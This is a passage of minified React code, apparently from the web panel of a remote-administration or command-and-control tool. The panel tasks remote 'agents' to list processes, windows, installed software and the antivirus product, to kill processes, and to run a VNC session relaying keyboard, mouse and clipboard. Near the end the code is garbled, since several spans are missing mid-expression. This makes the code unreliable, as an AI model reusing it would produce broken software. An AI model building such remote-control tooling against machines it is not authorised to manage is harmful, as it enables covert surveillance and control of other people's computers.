24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function VS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o}){const[l,c]=p.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-xs`,children:[s.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),s.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&s.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),s.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),s.jsx("span",{children:f?s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>a(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?s.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(m=>s.jsx(VS,{process:m,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o},m.pid))]})}function MU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useCallback(async()=>{if(!m){a(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Ee(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const k=(w=(await Un(e)).results)==null?void 0:w.find(S=>S.task_id===y);if(k){if(h.current&&clearInterval(h.current),h.current=null,a(!1),k.error){l(k.error);return}if(k.output)try{const S=JSON.parse(k.output);r(S)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),a(!1)}}},[e,m]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:x,disabled:m||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function LU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState("name"),[x,g]=p.useState("asc"),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:N}=await Ee(e,{command:"installed_apps"});u(!0);let z=0;const _=30;v.current=setInterval(async()=>{var A;z++;try{const P=(A=(await Un(e)).results)==null?void 0:A.find(I=>I.task_id===N);if(P){if(v.current&&clearInterval(v.current),v.current=null,a(!1),P.error){l(P.error);return}if(P.output)try{const I=JSON.parse(P.output);r(I)}catch{l("Failed to parse installed apps data")}}else z>=_&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(N){l(N instanceof Error?N.message:"Failed to send command"),a(!1)}}},[e,y]);function w(N){m===N?g(z=>z==="asc"?"desc":"asc"):(h(N),g("asc"))}const k=[...d?n.filter(N=>{const z=d.toLowerCase();return N.name.toLowerCase().includes(z)||N.version.toLowerCase().includes(z)||N.publisher.toLowerCase().includes(z)}):n].sort((N,z)=>{const _=N[m]||"",A=z[m]||"",O=_.localeCompare(A,void 0,{sensitivity:"base"});return x==="asc"?O:-O}),S=({col:N})=>m!==N?null:x==="asc"?s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:N=>f(N.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?k.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",s.jsx(S,{col:"name"})]}),s.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",s.jsx(S,{col:"version"})]}),s.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",s.jsx(S,{col:"publisher"})]}),s.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",s.jsx(S,{col:"install_date"})]})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:k.map((N,z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:N.name}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:N.version||"-"}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:N.publisher||"-"}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:N.install_date||"-"})]},`${N.name}-${z}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[k.length," application",k.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function IU({agentId:e,agentStatus:t}){const[n,r]=p.useState(null),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),d=t==="dead",f=p.useRef(null);p.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const m=p.useCallback(async()=>{if(!d){a(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Ee(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Un(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,a(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),a(!1)}}},[e,d]);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:m,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(Ci,{label:"CPU",value:n.cpu}),s.jsx(Ci,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),s.jsx(Ci,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),s.jsx(Ci,{label:"GPU",value:n.gpu})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[s.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),s.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),s.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:s.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),s.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(Ci,{label:"OS",value:n.os}),s.jsx(Ci,{label:"AV",value:n.av}),s.jsx(Ci,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Ci({label:e,value:t}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),s.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function DU(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const a=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(A.current=window.setInterval(()=>{const Y=_.current;u(ee=>ee.fps===Y.fps&&ee.frameCount===Y.frameCount&&ee.dirtyTiles===Y.dirtyTiles&&ee.totalTiles===Y.totalTiles?ee:{fps:Y.fps,frameCount:Y.frameCount,width:Y.width,height:Y.height,lastFrameMs:Y.lastFrameMs,dirtyTiles:Y.dirtyTiles,totalTiles:Y.totalTiles})},500),()=>{A.current&&clearInterval(A.current)}),[]);const U=p.useCallback((Y,ee)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==Y||C.height!==ee)&&(C.width=Y,C.height=ee,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),D=p.useRef(new ArrayBuffer(5)),M=p.useRef(new DataView(D.current)),F=p.useCallback(Y=>{var ee;((ee=i.current)==null?void 0:ee.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(Y)},[]),R=p.useMemo(()=>({sendMouseMove:(Y,ee)=>{const C=M.current;C.setUint8(0,1),C.setUint16(1,Y,!0),C.setUint16(3,ee,!0),F(D.current)},sendMouseButton:(Y,ee,C,K)=>{const ne=new ArrayBuffer(7),B=new DataView(ne);B.setUint8(0,2),B.setUint8(1,Y),B.setUint8(2,ee),B.setUint16(3,C,!0),B.setUint16(5,K,!0),F(ne)},sendMouseScroll:(Y,ee,C)=>{const K=new ArrayBuffer(7),ne=new DataView(K);ne.setUint8(0,3),ne.setInt16(1,Y,!0),ne.setUint16(3,ee,!0),ne.setUint16(5,C,!0),F(K)},sendKey:(Y,ee,C)=>{const K=new ArrayBuffer(8),ne=new DataView(K);ne.setUint8(0,4),ne.setUint8(1,Y),ne.setUint16(2,ee,!0),ne.setUint32(4,C,!0),F(K)},sendClipboard:Y=>{const ee=new TextEncoder().encode(Y),C=new ArrayBuffer(5+ee.length),K=new DataView(C);K.setUint8(0,5),K.setUint32(1,ee.length,!0),new Uint8Array(C,5).set(ee),F(C)},setQuality:Y=>{I.current=Y;const ee=new ArrayBuffer(3),C=new DataView(ee);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,Y),F(ee)},setViewOnly:Y=>{d.current=Y},sendControl:(Y,ee)=>{const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,Y),K.setUint8(2,ee),F(C)}}),[F]),W=p.useCallback(()=>{if(!k2||f.current)return;const Y=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});Y.onmessage=ee=>{if(ee.data.type==="frame"){const{bitmap:C,width:K,height:ne,cursorX:B,cursorY:ie}=ee.data;m.current(C,K,ne,B,ie)}},f.current=Y},[]),$=p.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),H=p.useCallback(()=>{if(k2||b.current!==null)return;const Y=()=>{const ee=y.current,C=g.current,K=w.current;if((ee.length>0||C.length>0)&&K){const{canvas:ne,ctx:B}=U(K.width,K.height);for(const ie of ee)B.fillStyle=`rgb(${ie.r},${ie.g},${ie.b})`,B.fillRect(ie.col*ie.tileSize,ie.row*ie.tileSize,ie.tileSize,ie.tileSize);for(const ie of C)B.drawImage(ie.bitmap,ie.col*ie.tileSize,ie.row*ie.tileSize),ie.bitmap.close();y.current=[],g.current=[],m.current(ne,K.width,K.height,K.cursorX,K.cursorY)}b.current=requestAnimationFrame(Y)};b.current=requestAnimationFrame(Y)},[U]),X=p.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const Y of g.current)Y.bitmap.close();g.current=[],y.current=[]},[]),se=p.useCallback(()=>{if(O.current!==null)return;const Y=64*1024;O.current=window.setInterval(()=>{const ee=i.current;if(!(!ee||ee.readyState!==WebSocket.OPEN)){if(ee.bufferedAmount>Y&&!P.current){P.current=!0;const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,1),K.setUint8(2,30),F(C)}else if(ee.bufferedAmount<=Y/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,1),K.setUint8(2,I.current),F(C)}}},250)},[F]),ue=p.useCallback(()=>{O.current!==null&&(clearInterval(O.current),O.current=null),P.current=!1},[]),ge=p.useCallback(()=>{if(i.current)return;const Y=rt();if(!Y)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(Y)}`,K=new WebSocket(C);K.binaryType="arraybuffer",i.current=K,K.onopen=()=>{l(!0),W(),H(),se()},K.onmessage=ne=>{if(!(ne.data instanceof ArrayBuffer))return;const B=new DataView(ne.data);if(ne.data.byteLength<13)return;const ie=B.getUint16(0,!0),ve=B.getUint16(2,!0),we=Number(B.getBigUint64(4,!0)),_e=B.getUint8(12),L=performance.now(),de=S.current,q=N.current%k;de[q]=L,N.current=q+1,z.current1){const Z=de[(q+1-me+k)%k],fe=(L-Z)/1e3;fe>0&&(te=Math.round((me-1)/fe))}const V=_.current;if(V.frameCount++,V.fps=te,V.width=ie,V.height=ve,V.lastFrameMs=we,_e===1){const Z=DU(B,13,ne.data.byteLength);V.dirtyTiles=Z.numDirty,V.totalTiles=Z.cols*Z.rows;const fe=Z.cols>0?Math.ceil(ie/Z.cols):128,E=Z.tiles.filter(J=>J.codec===1),oe=Z.tiles.filter(J=>J.codec===2);if(f.current){const J=[],pe=E.map(ke=>{const G=ke.data.buffer.slice(ke.data.byteOffset,ke.data.byteOffset+ke.data.byteLength);return 